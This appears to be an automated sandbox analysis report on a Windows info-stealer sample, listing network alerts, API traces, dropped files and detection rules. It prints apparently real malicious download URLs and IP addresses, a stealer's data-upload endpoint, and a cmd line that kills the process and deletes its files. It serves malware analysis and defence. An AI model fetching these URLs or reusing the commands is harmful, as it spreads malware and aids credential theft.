popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

build.exe

Gen1 RedLine Stealer AgentTesla info stealer browser Malicious Packer UPX DGA Socket ScreenShot PWS Internet API DNS Http API AntiDebug JPEG Format PE File OS Processor Check PE32 AntiVM DLL
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 July 19, 2021, 10:30 a.m. July 19, 2021, 10:53 a.m.
Size 732.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 e6bf9a1d8f14d2e1f07976f93dfc554e
SHA256 20678f2e7e17e41244136f05f81ac066025b0575f4b34963ae4131cff9467602
CRC32 6A915660
ssdeep 12288:/CtcEB57sSlLMnZhPjDeFNFVdKhevnbfgy4:VEDTNmVjDYVdKhevbfgy4
PDB Path C:\zocatubewu\ficigeruja yopogexotuyuta\nutax.pdb
Yara
  • PE_Header_Zero - PE File Signature
  • OS_Processor_Check_Zero - OS Processor Check
  • IsPE32 - (no description)
  • UPX_Zero - UPX packed file

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.102:57795 -> 164.124.101.2:53 2027026 ET POLICY External IP Address Lookup DNS Query (2ip .ua) Device Retrieving External IP Address Detected
TCP 77.123.139.190:443 -> 192.168.56.102:49167 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 192.168.56.102:49165 -> 77.123.139.190:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.102:49165 -> 77.123.139.190:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49165 -> 77.123.139.190:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.102:49166 -> 77.123.139.190:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.102:49175 -> 77.123.139.190:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.102:49166 -> 77.123.139.190:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49175 -> 77.123.139.190:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49166 -> 77.123.139.190:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.102:49175 -> 77.123.139.190:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.102:49174 -> 77.123.139.190:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.102:49174 -> 77.123.139.190:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49174 -> 77.123.139.190:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 77.123.139.190:443 -> 192.168.56.102:49176 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 192.168.56.102:49185 -> 116.202.183.50:80 2027250 ET INFO Dotted Quad Host DLL Request Potentially Bad Traffic
TCP 192.168.56.102:49184 -> 116.202.183.50:80 2027250 ET INFO Dotted Quad Host DLL Request Potentially Bad Traffic
TCP 192.168.56.102:49179 -> 61.36.14.230:80 2002400 ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer) A Network Trojan was detected
UDP 192.168.56.102:58692 -> 164.124.101.2:53 2023883 ET DNS Query to a *.top domain - Likely Hostile Potentially Bad Traffic
TCP 116.202.183.50:80 -> 192.168.56.102:49185 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 192.168.56.102:49179 -> 61.36.14.230:80 2020826 ET MALWARE Potential Dridex.Maldoc Minimal Executable Request A Network Trojan was detected
TCP 116.202.183.50:80 -> 192.168.56.102:49184 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 61.36.14.230:80 -> 192.168.56.102:49179 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 192.168.56.102:49185 -> 116.202.183.50:80 2027250 ET INFO Dotted Quad Host DLL Request Potentially Bad Traffic
TCP 192.168.56.102:49178 -> 115.91.217.231:80 2002400 ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer) A Network Trojan was detected
TCP 192.168.56.102:49185 -> 116.202.183.50:80 2027250 ET INFO Dotted Quad Host DLL Request Potentially Bad Traffic
TCP 192.168.56.102:49178 -> 115.91.217.231:80 2023882 ET INFO HTTP Request to a *.top domain Potentially Bad Traffic
TCP 192.168.56.102:49183 -> 74.114.154.22:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49185 -> 116.202.183.50:80 2027250 ET INFO Dotted Quad Host DLL Request Potentially Bad Traffic
TCP 192.168.56.102:49185 -> 116.202.183.50:80 2027250 ET INFO Dotted Quad Host DLL Request Potentially Bad Traffic
TCP 192.168.56.102:49185 -> 116.202.183.50:80 2025431 ET MALWARE Vidar/Arkei Stealer Client Data Upload A Network Trojan was detected
TCP 192.168.56.102:49185 -> 116.202.183.50:80 2029236 ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil Malware Command and Control Activity Detected
TCP 192.168.56.102:49185 -> 116.202.183.50:80 2029846 ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt) A Network Trojan was detected
TCP 192.168.56.102:49166 -> 77.123.139.190:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.102:49175 -> 77.123.139.190:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.102:49165 -> 77.123.139.190:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.102:49174 -> 77.123.139.190:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.102:49183
74.114.154.22:443 		C=GB, ST=Greater Manchester, L=Salford, O=Sectigo Limited, CN=Sectigo RSA Domain Validation Secure Server CA CN=*.tumblr.com 14:78:ba:5b:b5:54:5d:a1:2c:d2:79:4c:42:99:bb:3a:a9:db:86:c2

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The process "build2.exe" with PID 2972 has been terminated.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Waiting for 6
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: seconds, press a key to continue ...
console_handle: 0x00000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
pdb_path C:\zocatubewu\ficigeruja yopogexotuyuta\nutax.pdb
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features POST method with no referer header, POST method with no useragent header, Connection to IP address suspicious_request POST http://116.202.183.50/517
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://116.202.183.50/freebl3.dll
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://116.202.183.50/mozglue.dll
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://116.202.183.50/msvcp140.dll
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://116.202.183.50/nss3.dll
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://116.202.183.50/softokn3.dll
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://116.202.183.50/vcruntime140.dll
suspicious_features POST method with no referer header, POST method with no useragent header, Connection to IP address suspicious_request POST http://116.202.183.50/
suspicious_features GET method with no useragent header suspicious_request GET https://sslamlssa1.tumblr.com/
request GET http://astdg.top/nddddhsspen6/get.php?pid=CD20CF071BA7C05D5F5E6CAF42496E78&first=true
request GET http://securebiz.org/dl/build2.exe
request POST http://116.202.183.50/517
request GET http://116.202.183.50/freebl3.dll
request GET http://116.202.183.50/mozglue.dll
request GET http://116.202.183.50/msvcp140.dll
request GET http://116.202.183.50/nss3.dll
request GET http://116.202.183.50/softokn3.dll
request GET http://116.202.183.50/vcruntime140.dll
request POST http://116.202.183.50/
request GET https://sslamlssa1.tumblr.com/
request POST http://116.202.183.50/517
request POST http://116.202.183.50/
domain astdg.top description Generic top level domain TLD
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2440
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 598016
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009b0000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2440
region_size: 1159168
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00aa0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2720
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 598016
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00920000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 1159168
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00bb0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2800
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74002000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 409600
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00acc000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2920
region_size: 647168
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74002000
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file C:\Users\test22\AppData\Local\Chromium\User Data\Local State
file C:\Users\test22\AppData\Local\Nichrome\User Data\Local State
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_ICON language LANG_SERBIAN filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x00519c20 size 0x00000468
name RT_STRING language LANG_SERBIAN filetype data sublanguage SUBLANG_DEFAULT offset 0x0051fc38 size 0x0000029e
name RT_STRING language LANG_SERBIAN filetype data sublanguage SUBLANG_DEFAULT offset 0x0051fc38 size 0x0000029e
name RT_STRING language LANG_SERBIAN filetype data sublanguage SUBLANG_DEFAULT offset 0x0051fc38 size 0x0000029e
name RT_STRING language LANG_SERBIAN filetype data sublanguage SUBLANG_DEFAULT offset 0x0051fc38 size 0x0000029e
name RT_STRING language LANG_SERBIAN filetype data sublanguage SUBLANG_DEFAULT offset 0x0051fc38 size 0x0000029e
name RT_STRING language LANG_SERBIAN filetype data sublanguage SUBLANG_DEFAULT offset 0x0051fc38 size 0x0000029e
name RT_STRING language LANG_SERBIAN filetype data sublanguage SUBLANG_DEFAULT offset 0x0051fc38 size 0x0000029e
name RT_ACCELERATOR language LANG_SERBIAN filetype data sublanguage SUBLANG_DEFAULT offset 0x0051a120 size 0x00000010
name RT_ACCELERATOR language LANG_SERBIAN filetype data sublanguage SUBLANG_DEFAULT offset 0x0051a120 size 0x00000010
name RT_GROUP_ICON language LANG_SERBIAN filetype data sublanguage SUBLANG_DEFAULT offset 0x0051a088 size 0x00000068
name RT_GROUP_ICON language LANG_SERBIAN filetype data sublanguage SUBLANG_DEFAULT offset 0x0051a088 size 0x00000068
name RT_GROUP_ICON language LANG_SERBIAN filetype data sublanguage SUBLANG_DEFAULT offset 0x0051a088 size 0x00000068
file C:\ProgramData\freebl3.dll
file C:\ProgramData\msvcp140.dll
file C:\ProgramData\nss3.dll
file C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe
file C:\ProgramData\vcruntime140.dll
file C:\ProgramData\mozglue.dll
file C:\ProgramData\softokn3.dll
cmdline C:\Windows\System32\cmd.exe /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe" & del C:\ProgramData\*.dll & exit
cmdline "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe" & del C:\ProgramData\*.dll & exit
file C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe
file C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe
wmi SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "build2.exe")
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: C:\Windows\System32\cmd.exe
parameters: /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe" & del C:\ProgramData\*.dll & exit
filepath: C:\Windows\System32\cmd.exe
1 1 0
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x000002c4
process_name: pw.exe
process_identifier: 2168
1 1 0

Process32NextW

 snapshot_handle: 0x000002c4
process_name: taskhost.exe
process_identifier: 2216
1 1 0

Process32NextW

 snapshot_handle: 0x000002c4
process_name: build.exe
process_identifier: 2800
1 1 0

Process32NextW

 snapshot_handle: 0x000002c4
process_name: build2.exe
process_identifier: 2972
1 1 0

Process32NextW

 snapshot_handle: 0x000004b8
process_name:
process_identifier: 1636140
0 0
Time & API Arguments Status Return Repeated

InternetReadFile

 buffer: MZÿÿ¸@躴 Í!¸LÍ!This program cannot be run in DOS mode. $Þ"0ƒšC^КC^КC^ЄËЃC^ЄÝÐíC^н…%ГC^КC_ÐçC^ЄÚиC^ЄÌЛC^ЄÊЛC^ЄÏЛC^ÐRichšC^ÐPELÍÃc_à  ^ÊX‡Šp@@`w« ÀkG4ad`^°ð_ ?@Ì.text\^ `.dataPìVpNb@À.rsrc°`^Ž°@@.reloc:Mð_N> @BbgFg¾cÎcäcøc dd.dDdTdddtdœd²dÂdÖdêdødee2eBePehe®c˜e°eÈeØeèeúef$f8fJf^fnf€fŒf¨f¾fÊfÞfôfg€c˜c|edcˆgšg¬gÀgÌgägügh,hJhXhdhrh|h”hªhºhÒhÞhðhii&i8i@iNiZipiŠi¢i¼iÖiäiòiþij(j>jXjdjnj€jjžjªjÀjÐjâjòjkk&k8kHkZknkzkˆk˜k®k(g‘ŠF°¡F6ÏF2ÚFGÂF°[Ga¢F>}ì`Ux?x3bad allocationBoruka hipeturuhogrinakimuhuzafolujJalsisezarijetehotawuyofifegupunowegowuciduwubosuziwirafugurufojofebapuvajukernel32.dllLocalAllocVirtualProtect0%s %f %c0runexobozezç„F†„F†„F8C8CX¡ÝãÌúä<1å ¼"°?'õ†ü;Å<ï&Ýb°?™,kgüî<!Jÿ¢°?ĂeT1îá<1y"ã°?úzŒüç<¸F#±?VŸÂaì<$È lc±? £“Ôx²à<Ònu’£±?cÕv5ëà<åü¹ã±?0—ýNà<¾ß¢â#²? ÁÁ"$Ø<b×m d²?Œg¯QÆá<|a7¤²?è麏¼Ü<a»€cä²? 0 H_ é<ÙА$³?]U ?È<8‹U¿d³?|}}ó£?Õ<5ì盧?~+›Üòá< å³?)0>¯B­Ë<§'HR%´?«ÀI&³<^:ȅe´?>!ʎÊè<sl‘º¥´?eÃcb~qÏ<ÛÛ§ðå´?r“ªÜʀÂ<F§(&µ?ZöšnáÒ<'îÌ`fµ?4Ö7jâÀ<µÐ㚦µ?+i³ÿ UÃ<ìoXÖæµ?FŸï.K;×<‘í.'¶?Yhüʼnè<4lkQg¶?ö;+žUÂç<3‘§¶?ÜМ m8å<»ú&Òç¶?ëŽó˜«ùÌ<ÌS®(·?YÙ=ßt<:@¬Xh·?,än@4`í<°æ$ž¨·?ÛÑïñç<¶nåè·?þ”9ðÜ®ß<­—-)¸?\ª»¿Ä<ÖŘwi¸?à¡éå=ï<Rè%é¸?ýfØ@ÿ¥<*“Bê¸?a­ÉÙw¼ê<Gòò^*¹?¯m(“<÷æ<2;¯j¹? óP EÞ<˜«¹?<Ö/ƒ¨Üê<:¤Të¹?Ft¾§©<Í©+º?N‚ibzPØ<’Ÿžlº?°ü %Xæ<aY¬º?]@ìº_}œ<önL³ìº?û¼œšG ¼<Ê 1-»?aÜé¡(ï<UÏlm»?iT í?‘à<»*Ì­»?VãÏ*×ú¶<w7H-î»?­X[F´<Á+.¼?XŽ knà<EÙôn¼?ÛT©(+å<ÆÞU[¯¼?։Ôœä<'ç¤Ãï¼?ju!4¸•©<åÊ-0½?Ö¨÷¢ïá<Q̙p½?ºå†¿Šâ<®µ¬±½?‡¶˜{Üë<qwñ½?_W¨ä˜ðÉ<–Cé1¾?'ÆúÓ<I²µ\r¾?Ñí®DÌc<s“>Ò²¾?Çé«ÖÒÁí<w*¼Ió¾?²¥“n'$Ä<à»2Ã3¿?z§¢ü7Ù<[¦>t¿?V-AiÔ×<Ãå¼´¿?`²DTbá< —;õ¿?SŸˆ.‰è<TRÿ*À?)±RÄæ™Ó<2àø„kÀ?,¬%Øًä<rþѬÀ?SC? Ý<HžîœìÀ?ZxgÌfåö<ð`/-Á?÷øˆó#ê<މ7ÆmÁ?Çw¬ ß<悆a®Á?_"àCÀþá<lX^ïÁ?Ž¯œ@©ù<{Ð¥/Â?$¨8ò^õ<]hîNpÂ?b¼X*ÿ<ó¥Éü°Â?©}—_Ͼ<ºÆs¯ñÂ?÷ºpÊtô<‰hþf2Ã?·¢$µVî<Þ4{#sÃ?UÈùg ×<áûä³Ã?™·w±³ê<J.’«ôÃ?I Z öè<*êOw5Ä?í‡ý.@õ<€îFHvÄ?N Ûå†óç<¸!‰·Ä?ãj¿µöó<üv(ú÷Ä?¯˜zî"ë<iî6Û8Å?‰?!½½ú<<•ÆÁyÅ?G¬áoãð<†é­ºÅ?ÃxeFÈ÷õ<ã豟ûÅ?ÔGùÿTÚâ<ó1—<Æ?Væ ڀù<îé{”}Æ?¥šå0ƒ¬Â<¯¢—¾Æ?ÙÊýa@ƒÿ<ﶠÿÆ?¦0¥’–Á< Ì̯@Ç?¡ ç1ú<â3öāÇ?„¨.aUâ<!±EàÂÇ?I•¨ˆôÒ<ÑßÍÈ?ùÖÇ ·ãÑ<Àj¡)EÈ?Oþ´¬Áþ<I ÓW†È?W˜0Ýe)ó<ŽŽuŒÇÈ?þ¢”ç TÈ<©Ë›ÇÉ?ÕÏÁ¤?‰ø<æ­X JÉ?!PO79ü<þ/¿Q‹É?õ;éX¤ù<J]â ÌÉ?V:e:Ôñò<þQÕö Ê?ïWm¨Ü`Ï<b;«SOÊ?4Td'¦ô< Xw·Ê?ЀYÞü<øL"ÒÊ?d¹ôÝ©Sò<_}?”Ë?·Txô<Æ[b UË?£\çz#÷<^ɍ–Ë?1¼—¾ê<±N‡ØË?ãwa…¸ú<ù¦°¤Ì?ýêñN9þ<aàX;[Ì?š½Y']ã<@ٜ̓Ì?­ÈîEê<VOuÞÌ?!S—ÀXô<b- Í?C²:’áö<À|âaÍ?B®<¯°$û<ç{ɟ£Í?+Xê©UGé<mØ eåÍ?>Uۊ×<åo]2'Î?¡ŽIÙê<РÌiÎ?GýÖ³Öá<àÞoåªÎ? ÛÚΙnÁ<9³[ËìÎ?é ‹|ä^Ç<¶¼¤¹.Ï?ƒ>oj¬Ó<.°_°pÏ?1Sð³™Á÷<¸X¡¯²Ï?“žêÃlü<ó—~·ôÏ?o.x²Ü÷<%3dÐ?†ø½{=4 ­øLÐ?ËV!Å=bÎ#Ð?ð@g = aÑÐ?Gå¤z =ˆ]Æ°Ñ?– 6‡ =oÚJVÑ?JŽó ²b='4ôˆ˜Ñ?/µtÞ>á<wíÛÑ?aë`ÌÖ×ø<£_¯Ò?aÝ ®e=•¿F``Ò?/úf =#&£Ò?•5SmT4ø<W†£æÒ?Rµz¯ï¹< ъð(Ó?
request_handle: 0x00cc0010
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $Àð/„‘AV„‘AV„‘AVéÒVˆ‘AV]ó@W†‘AV1†V…‘AV]óBW€‘AV]óDW‘AV]óEW‘AV¦ñ@W€‘AVOò@W‡‘AV„‘@V֑AVOòBW†‘AVOòEWÀ‘AVOòAW…‘AVOò¾V…‘AVOòCW…‘AVRich„‘AVPELØbë[à"!  Øf)Ýðp£s@pæPÀæÈ@xüÐPà0âTˆâ@ð8.texttÖØ `.rdataüþðÜ@@.data,HðÜ@À.rsrcx@à@@.relocàPä@B
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ÂU±É£;âÉ£;âÉ£;âÀÛ¨âÙ£;âWüâË£;âÁ8ãÇ£;âÁ?ã£;âÁ:ãÍ£;âÁ>ãÛ£;âëÃ:ãÀ£;âÉ£:âw£;âÀ?ãÈ£;âÀ>ãÝ£;âÀ;ãÈ£;âÀÄâÈ£;âÀ9ãÈ£;âRichÉ£;âPELÄ_ë[à"!  z†à‚@3@A@Àt´Þ, xúÐ0h ¹TT¹h¸@ôl¾€.textÊxz `.rdata^ef~@@.data¼ ä@À.didat8æ@À.rsrcx è@@.reloch 0ì@B
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $¦È¼Aâ©Òâ©Òâ©ÒV5=à©ÒëÑAú©Ò;ËÓá©Òâ©Ó"©Ò;ËÑë©Ò;ËÖî©Ò;Ë×ô©Ò;ËÚ•©Ò;ËÒã©Ò;Ë-ã©Ò;ËÐã©ÒRichâ©ÒPEL8'Yà"!  ‚P±  Ðaz@AðC‚ÏôR,€øx8?4:ðf8È(@Pð˜@@.textr `.data( @À.idata6P @@.didat4p6@À.rsrcø€8@@.reloc4:<<@B
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $#ƒ4ŒgâZßgâZßgâZßnšÉßsâZß¾€[ÞeâZßùBßcâZß¾€YÞjâZß¾€_ÞmâZß¾€^ÞlâZßE‚[ÞoâZ߬[ÞdâZßgâ[ߐâZ߬^ÞmãZ߬ZÞfâZ߬¥ßfâZ߬XÞfâZßRichgâZßPEL­bë[à"!  êwð@·»@ˆ ˆ=T°pæÐÀ}p—Tȗ@ø.textèê `.rdataRTî@@.datatG`"B@À.rsrcp°d@@.reloc}À~h@B
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $¢l$æ JOæ JOæ JOïuÙOê JO?oKNä JO?oINä JO?oONì JO?oNNí JOÄmKNä JO-nKNå JOæ KO~ JO-nNNò JO-nJNç JO-nµOç JO-nHNç JORichæ JOPEL¿bë[à"!  ¶b—¼ÐP ±@¨¸È0xÐ@`ÐþT(ÿ@Ðl.textË´¶ `.rdata DÐFº@@.data @À.rsrcx0@@.reloc`@@B
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ù£NE˜ÍE˜ÍE˜Íñ"G˜ÍLà^N˜ÍE˜Ìl˜ÍœúÉU˜ÍœúÎV˜ÍœúÈA˜ÍœúÅ_˜ÍœúÍD˜Íœú2D˜ÍœúÏD˜ÍRichE˜ÍPEL 8'Yà"!  ê ® @¼@A°ð ÀŒ H?0” °8è@¼.textÄéê `.dataDî@À.idata¸ð@@.rsrc ö@@.reloc” 0 ü@B
request_handle: 0x00cc000c
1 1 0
section {u'size_of_data': u'0x0009c400', u'virtual_address': u'0x00001000', u'entropy': 7.982536504591275, u'name': u'.text', u'virtual_size': u'0x0009c250'} entropy 7.98253650459 description A section with a high entropy has been found
entropy 0.854993160055 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
url http://www.openssl.org/support/faq.html
description Communication using DGA rule Network_DGA
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Match Windows Http API call rule Str_Win32_Http_API
description Match Windows Inet API call rule Str_Win32_Internet_API
description Take ScreenShot rule ScreenShot
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Communication using DGA rule Network_DGA
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Match Windows Http API call rule Str_Win32_Http_API
description Match Windows Inet API call rule Str_Win32_Internet_API
description Take ScreenShot rule ScreenShot
description (no description) rule DebuggerCheck__GlobalFlags
